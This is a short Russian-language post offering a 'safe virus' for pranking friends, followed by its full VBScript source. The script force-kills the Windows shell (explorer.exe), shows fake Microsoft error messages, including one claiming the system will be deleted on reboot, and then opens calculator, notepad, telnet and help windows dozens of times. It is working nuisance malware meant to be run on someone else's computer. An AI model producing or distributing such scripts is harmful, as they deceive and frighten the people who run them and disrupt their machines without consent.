Безопасный вирус для развода друзей. Код: on error resume next set t=createobject("Wscript.Shell") set kill = createobject("wscript.shell") kill.run"taskkill /f /im explorer.exe",0 msgbox"Please install the updates from Microsoft for the further operation of the system.",16,"Error" msgbox"Error instal Microsoft Back." msgbox"Удаление системы преизойдет при перезагрузке Windows.",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"explorer" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"explorer" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"explorer" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe" t.run"calc.exe"